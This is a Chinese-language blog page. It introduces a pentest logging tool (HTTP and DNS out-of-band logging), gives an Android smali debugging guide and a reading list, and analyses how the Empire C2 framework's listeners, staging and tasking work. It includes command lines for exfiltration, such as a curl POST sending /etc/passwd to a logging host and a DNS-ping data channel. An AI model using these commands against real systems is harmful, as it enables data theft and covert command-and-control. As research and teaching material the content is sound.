anakin 发布的文章

由于某些原因,不能开源。有对相关技术感兴趣的同学可以找我交流

OPENOTE是一款渗透测试辅助工具,集成了一些渗透测试常用的功能,目前包括HTTP记录、DNS记录、文件托管、XSS平台

  • HTTP Log:无回显的场景下通过记录HTTP请求确认漏洞
  • DNS Log:无回显场景下通过DNS信道外带数据
  • File Service:对标Paste Bin,但提供自定义Content-Type的接口,便于托管payload
  • XSS平台:模块化配置XSS Payload,辅助XSS测试

功能演示

目前开发了两个功能,HTTP Log和DNS Log,都是需求比较大的基础能力

在以下说明中,以域名example.com为例

登陆认证

支持基本登陆认证功能,保障数据安全

UNADJUSTEDNONRAW_thumb_150e

HTTP Log

核心功能之一是HTTP Log,所有对平台的不存在的路由请求均会被记录下来

以下路由地址被平台保留,不会被记录

  • /
  • /http
  • /http/<int>
  • /http/down/<int>
  • /dns
  • /file
  • /xss
  • /login
  • /logout
  • /delete/dns

UNADJUSTEDNONRAW_thumb_1510

home/data/black_list.py中可以配置黑名单,黑名单中的url同样不会被记录。默认添加了/favicon.ico/robots.txt

点击每一条记录,可以看到完整的HTTP Header和HTTP Body数据

UNADJUSTEDNONRAW_thumb_1511

一个小技巧是可以用curl example.com/not_exsist -X POST -F "f=@/etc/passwd"来发送文件到平台。二进制数据也可以被直接Down下来,默认以二进制形式存储数据,因此在下载之后不需要其他操作即可拿到完整的二进制数据

DNS Log

此外该平台提供DNS Log功能。假设当前的域名为dns.example.com

本模块的功能主要是修改了vtestdnslog两个项目的代码,并对Python3进行适配

UNADJUSTEDNONRAW_thumb_150f

基础解析

ping secret_message.dns.example.com

此时在平台上能够收到secret_message这一信息,解析结果默认为1.1.1.1

进阶解析

ping 123.123.123.123.dns.example.com

当域名前是IP地址时,会将这个地址解析为输入的IP地址123.123.123.123

ping 111.111.111.111.222.222.222.222.dns.example.com

此时会按顺序依次解析

111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
111.111.111.111.222.222.222.222.dns.example.com ===> 111.111.111.111
111.111.111.111.222.222.222.222.dns.example.com ===> 222.222.222.222
...

如何安装

注意⚠️:

  1. 本应用使用Django开发,在安装时推荐使用虚拟环境,避免引起Python的依赖关系紊乱
  2. 本应用仅支持Python3(It's 9102 now.)

安装虚拟环境

安装virtualenv并创建虚拟python环境,激活

pip3 install virtualenv
virtualenv openote_env
source openote_env/bin/activate

激活后安装依赖库

pip3 install -r requirements.txt

初始化数据库

默认使用sqlite3作为数据库,便于携带。使用以下命令进行初始化

python3 manage.py migrate

创建用户

使用以下命令创建一个可以登陆的用户:

python3 manage.py createuser -u username -p

如果忘记密码,可以在命令行中重置:

python3 manage.py reset -u username -p

启动

python3 manage.py runserver 0.0.0.0:8000

设置DNS服务器

总共需要两个域名。例如我们拥有tom.comjerry.com两个域名,最终想要的DNS服务器解析的域名是dns.jerry.com,我们控制的服务器IP为1.1.1.1

设置步骤:

  1. tom.com中添加A记录,将ns1.tom.com指向1.1.1.1
  2. jerry.com中添加NS记录,指定dns.jerry.com域名的NS服务器是ns1.tom.com

这样一来我们对*.dns.jerry.com的查询都会在dns.jerry.com处查询,而它指定了域名服务器ns1.tom.com,域名服务器的IP又是我们控制的服务器1.1.1.1。这样一来*.dns.jerry.com的查询都会走我们自己部署的DNS服务器,即可获取记录

image-20190811235441346

设置完毕后,需要在openote/settings.py中设置以下内容:

ROOT_DOMAIN = "dns.jerry.com"
LOCAL_IP = "1.1.1.1"

测试是否部署成功:

ping test.dns.jerry.com

如果解析结果为1.1.1.1(默认解析结果都是1.1.1.1),且能够在log中看到解析记录,则说明部署成功

启动服务

最终设置好之后,即可启动

python3 manage.py 0.0.0.0:8000

Enjoy

后续计划

  1. file service
  2. xss platform

安装Smalidea插件

下载地址

建议下载三个东西,smalidea装入Android Studio以高亮Smali代码,baksmali.jar来反编译dex文件,smali.jar来重新打包

安装Smalidea插件的过程

Preferences -> Plugins -> Install Plugin From Disk

之后重启Android Studio加载插件,现在可以高亮和断点Smali代码了

关于为什么直接用smali.jar和baksmali.jar,而不用apktool,这是因为我看过蒸米大大的一篇文章,apktool其实是对一些工具的封装,而且更新经常滞后,如果反编译遇到错误给出的报错也不如直接用baksmali更详细,更能够帮助定位错误

强制调试

在Android上即使获得了root权限,也不能直接修改ro.debuggable属性,但由于在root时我用了magisk框架,能够通过一条命令很方便的修改

OnePlus7:/ # magisk resetprop ro.debuggable 1
OnePlus7:/ # getprop ro.debuggable
1
OnePlus7:/ #stop;start;  #必须通过这种方式重启

这样无论apk是否开启了调试模式,都能够对它进行调试,不需要重新打包了

导入Smali

将apk反编译回smali需要几步:

  1. unzip xxx.apk
  2. 找到class.dex文件
  3. baksmali d class.dex
  4. 将out文件夹导入到Android Studio即可

开始调试

这个记录是基于Android Studio3.4做的,在这个版本中已经没有DDMS了。其实按照很多教程的做法,只是少做了一步端口转发,我们并不是真的需要这个工具,没有必要去纠结

File -> New -> Import Project

导入后将文件夹右键设置为项目根目录

添加debug配置选项,新增Remote类型的调试,这里端口默认5005即可

接下来启动apk

adb shell am start -D -n com.oneplus.filemanager/com.oneplus.filemanager.HomePageActivity

这里-D参数是打开调试,之后接的是apk包名和MainActivity

此时应用会阻塞,等待调试器连接

接下来要做的是建立调试器与应用的连接,在设置debug配置时我们选择attach 5005端口,要将5005端口和应用进程联系起来

先看一下应用的pid

anakin@Alpha-Cat  ~/Documents/ adb shell "ps -ef | grep filemanager"
system       12300  6258 0 23:10:33 ?     00:00:00 com.oneplus.filemanager
shell        12362   936 8 23:10:43 ?     00:00:00 sh -c ps -ef | grep filemanager
shell        12365 12362 10 23:10:43 ?    00:00:00 grep filemanager

使用端口转发命令

adb forward tcp:5005 jdwp:12300

之后使用debug即可

期间遇到的一些问题:

  1. 之前查资料时试用了adb shell am set-debug-app -w --persistent的方式,将应用一直定成debug模式,不建议采用,可能有未知bug。使用adb shell am clear-debug-app可清除
  2. 如果调试之后无法再次进入调试,可以尝试以下步骤:

    • 彻底重启Android Studio
    • 彻底重启手机(记得重新开ro.debuggable
    • adb kill-server; adb start-server
    • 换个端口转发

技术

  • 流畅的Python:一本讲Python的好书 定位是让读者写出Pythonic Code
  • Spring实战:大致搞清楚了Spring框架的一些特性 但是由于没写过太多Spring还需要继续看
  • Micropoor的渗透教程:虽然不是出版书,但我读过后收获真的非常大,想清楚很多东西。与Micropoor本人交流的时候发现他竟然非常谦虚和气,果然越大佬越谦虚

文学

  • 幻夜 - 东野圭吾:比白夜行更绝望
  • 恶意 - 东野圭吾:感觉还好 过一阵子就没有太强的记忆了

杂类

  • 设计的教室:一本讲如何进行平面设计的书,示例都蛮不错的,讲了很多设计原则

Listener & Stager & Agent

第二篇开始,我们来探究empire中的listener, stager和agent。首先来明确下这三个组件的定位:

listener中文译为监听器,CC要想接收被控端发来的信息或者向其发布命令,必须要与之建立连接,此时会开启一个端口来等待被控端连接。在empire中,我们的http listener其实就是启动了一个flask web应用,通过flask内置的WSGI来作server

stager是empire的最终payload,在RAT程序中,常常会使用payload分离的手段。目的之一是躲避杀毒软件,目的之二是减少投放payload的体积。首先释放一个体积较小的程序,该程序一般会判断环境、检查杀毒软件和系统信息,当判读可以继续执行时,到CC服务器上下载更大体积的恶意程序执行。体积较小的程序通常称为dropper/launcher/downloader,体积较大的程序可以称为stager。此外还有一种payload不分离的情况,称为standalone,此时不会向服务器再请求新的payload,所有功能都在一个文件里,直接进入与CC通信执行命令的阶段

agent在empire中代指被控端,这个没什么需要细说的,等下继续看源码

下面我们按照时间顺序,从建立监听开始,一直到执行命令,一起按照数据流串一遍流程,深入细节揭秘一下empire的主要逻辑

Debug In Docker With Pycharm

为了更清晰的分析整个过程,我们用Pycharm进行调试。为了方便,这里选用了Docker+Remote Debug的方式,使用了empire docker中的python解释器+本地源码,具体设置如下:

设置好之后即可开始调试

在调试的时候遇到的一个坑:使用uselistener http命令发现没有反应,经过debug发现原因在于我之前在本机上试着初始化过empire.db,而在初始化的时候会将安装目录的路径写进数据库,在load_listeners操作的时候又会按照这个路径去取listener文件,从docker container按照这个路径去取自然是取不到的,因此会按照处理不存在的listener的流程继续进行

解决方案也很简单,在程序启动前打个断点,然后开个终端进入docker container,在docker container内重新执行一下setup/setup_database.py即可

Listener

开启Listener

这一部分从建立Listener开始,首先我们建立一个最基础的HTTP Listener

使用set指令为其中的必须项设置具体值,这里需要设定IP和端口。⚠️注意,由于这里的empire是放在docker容器中的,我们的Host地址添了容器宿主机的地址(同时做了端口映射)

(Empire: listeners/http) > set Port 443
(Empire: listeners/http) > set Host 172.16.132.1

之后启动listener

(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

在这一过程中,调用的是lib/common/empire.py中的do_uselistener方法

def do_uselistener(self, line):
    "Use an Empire listener module."

    parts = line.split(' ')

    if parts[0] not in self.mainMenu.listeners.loadedListeners:
        print
        helpers.color("[!] Error: invalid listener module")
    else:
        listenerMenu = ListenerMenu(self.mainMenu, parts[0])
        listenerMenu.cmdloop()

这里对我们使用的listener进行了查询,当存在对应listener时新建了ListenerMenu实例,进入其命令循环

在设置完Listener的相应值后,使用execute命令其实调用的是:

def do_execute(self, line):
    "Execute the given listener module."
    
    self.mainMenu.listeners.start_listener(self.listenerName, self.listener)

跟进到start_listener函数,位于lib/common/listeners.py

def start_listener(self, moduleName, listenerObject):
        ...

    try:
        print helpers.color("[*] Starting listener '%s'" % (name))
        success = listenerObject.start(name=name)

        if success:
            listenerOptions = copy.deepcopy(listenerObject.options)
            self.activeListeners[name] = {'moduleName': moduleName, 'options':listenerOptions}
            pickledOptions = pickle.dumps(listenerObject.options)
            cur = self.conn.cursor()
            cur.execute("INSERT INTO listeners (name, module, listener_category, enabled, options) VALUES (?,?,?,?,?)", [name, moduleName, category, True, pickledOptions])
            cur.close()

            # dispatch this event
            message = "[+] Listener successfully started!"
            signal = json.dumps({
                'print': True,
                'message': message,
                'listener_options': listenerOptions
            })
            dispatcher.send(signal, sender="listeners/{}/{}".format(moduleName, name))
        else:
            print helpers.color('[!] Listener failed to start!')

    except Exception as e:
        ...

绕来绕去还是最终调用了listener对象内的start()函数,当启动成功时,empire还会保存一份listener对象中配置选项的副本,将其序列化保存到数据库中,这是为了在程序再次启动时能够恢复之前启动的listener。另外一个值得一提的细节,之前提到过empire在界面的展示是通过dispatcher,这里就是一个很好的例子,将signal以json的形式发过去,并决定是否打印出来

下面我们深入到HTTP Listener对象,看一下它到底是什么。我们选择的listener,它的位置在lib/listeners/http.py。其实可以看到这里还有很多其他的listener,我们随后再进行分析,先从基础款开始

这个listener中主要是一个Listener类,都是用统一的模板写的,这样能够做到插件化开发,当我们理解这个构成后应该也可以自定义自己的Listener。其中变量有:

  • self.info 介绍作者和模块信息
  • self.options 关键参数
  • self.mainMenu 主菜单对象
  • ...

一个好玩的事:其中self.options中有一个StagingKey参数

'StagingKey' : {
    'Description'   :   'Staging key for initial agent negotiation.',
    'Required'      :   True,
    'Value'         :   '2c103f2c4ed1e59c0b4e2e01821770fa'
}

Value的值其实是Password123!的md5值,不过里面的设定并不会使用这个默认值,而是在按照empire的时候会在数据库随机生成一个,之后都是通过get_config从数据库里取的

类中主要的方法有:

  • default_response IIS 7.5 404 not found page
  • Index_page HTTP默认页面
  • validate_options 检查是否必须项都设置了内容
  • generate_launcher 生成启动器
  • generate_stager 生成stager相关代码
  • generate_agent 生成agent代码
  • generate_comms 生成通信相关代码
  • start_server 启动服务

start_server函数其实启动了一个Flask Werkzeug服务器,然后上面挂了一个Flask应用,里面定义的路由有:

  • /download/<stager> 用于下载stager
  • / & /index.htm 用于展示首页
  • /welcome.png 用于展示图片
  • /<path:request_uri> 用于真正进行CC与agent之间的通信

建立连接

从代码注释来看,建立连接分为以下几步:

  1. client requests staging code【client - GET】
  2. return stager.ps1 (stage 1)【server - RESPONSE】
  3. client posts public key【client - POST】
  4. server returns RSA(nonce+AESsession)) / server returns HMAC(AESn(nonce+PUBs))【server - RESPONSE】
  5. client posts nonce+sysinfo and requests agent【client - POST】
  6. server sends patched agent.ps1/agent.py【server - RESPONSE】

STAGE0

当agent回连后,首先会发送GET请求到一个任意页面(这里可以在选项中配置,本次发送到的是/new.php页面)

之后会获取agent的IP、listener信息,以及从header中获取cookie。这里决定通信状态的,其实是cookie中的值,当然这些值有被编码和加密过,我们继续看

这里在解析cookie,试图从中获取session的值,并且使用base64解码

之后开始用stagingKey解密routingPacket,这里先不看具体的解密过程,只需要知道向某个函数传入了key和encrypted_info进行解密,解密后的具体信息是这样的

其中一个重要信息,STAGE0,标志着目前建立连接处于哪个阶段,在STAGE0这一阶段,会生成stager并发送给agent,当然生成的stager也是加密和混淆过的,请看lib/listeners/http.py文件中的generate_stager函数

获取配置信息,随机选取两个url作为stage1和stage2的地址。之后打开data/agent/stagers/http.ps1模板文件,替换其中的相关配置信息

之后进行混淆操作,随机变换大小写

这里最终使用了RC4进行加密

此时完成了STAGE0阶段的信息交换

STAGE1

STAGE1阶段是agent向CC发送通信加密用的RSA公钥,处理函数在lib/common/agents.py中,重点看handle_agent_staging函数

这里主要进行的操作是:

  1. 判断信息格式是否完整
  2. 判断agent使用的语言
  3. 获取rsaKey
  4. 向全局变量mainMenu.agents中注册(字典),并且将相关信息添加到数据库。此时如果没有sessionKey,会在入库的时候自动生成一个随机值
  5. 返回加密后的nonce+clientSessionKey

STAGE2

之后进入STAGE2阶段,client再次使用POST请求CC,这次传输的是agent的基本信息

可以看到这里传输了nonce、CC地址、主机名、用户、IP、操作系统等等。获取完之后,会更新数据库,将信息写入。另外还可以看到这里为slack接口预留了逻辑,如果填写了slack api,还会向slack发送通知

还有autoruns功能,用于在上线时自动执行脚本

最终返回值会存入dataResults,具体内容为agent语言和该agent的sessionID

然后进入step 6,返回给agent修改后的agent.ps1或agent.py文件

跟进self.generate_agent函数,进行的具体操作是:

  1. 更新通信相关代码(看了一下,重点是CC服务器地址和通信时的profile)
  2. 去除注释和空行
  3. 更新delay, jitter, lost limit, comms profile的值
  4. 更新killDate, obfuscate选项,如果开启混淆,则将代码替换成混淆后的值

命令获取 & 结果上报

我们以whoami命令为例,跟进下命令发放和结果上报的全过程

将待执行命令写入数据库的操作在lib/common/empire.pyPowerShellAgentMenu类中

不具体展开了,里面有个处理细节是限定了命令队列的最大长度是65535,填满后会覆盖

等到建立连接之后,agent会周期性的向CC发起GET请求,检查是否有需要执行的命令。再次重申下,所有的GET请求中,需要传递的数据都是加密后放在cookie中的

在解析完数据包之后,请求的内容是这样的:

之后会进入lib/common/agents/py文件中的handle_agent_request函数,并完成以下操作:

  1. update_lastsee 更新beacon时间
  2. self.get_agent_tasks_db(sessionID) 从数据库中获取该agent需要执行的命令
  3. 如果有命令需要执行,构建相关packet

构建数据包相关的操作都在lib/common/packets.py里,之后应该还会再分析,最终生成的是这样的一个数据包

+------+--------------------+----------+---------+--------+-----------+
| Type | total # of packets | packet # | task ID | Length | task data |
+------+--------------------+--------------------+--------+-----------+
|  2   |         2          |    2     |    2    |   4    | <Length>  |
+------+--------------------+----------+---------+--------+-----------+

等发放完命令之后,我们在lib/common/agents.py中这里打断点,等待结果上报

agent使用POST请求,将结果发送给CC,详情可以跟一下lib/listeners/http.py中的handle_post方法

跟进self.handle_agent_response

在经过解包后,responsePackets中可以发现命令的执行结果,这里没有什么需要讲的,结果已经传回来了,只需要处理和格式化展示即可

这就是从开启Listener,建立连接,到命令获取与结果上报的全过程。用一张图来展示会更清楚:

Stager

Agent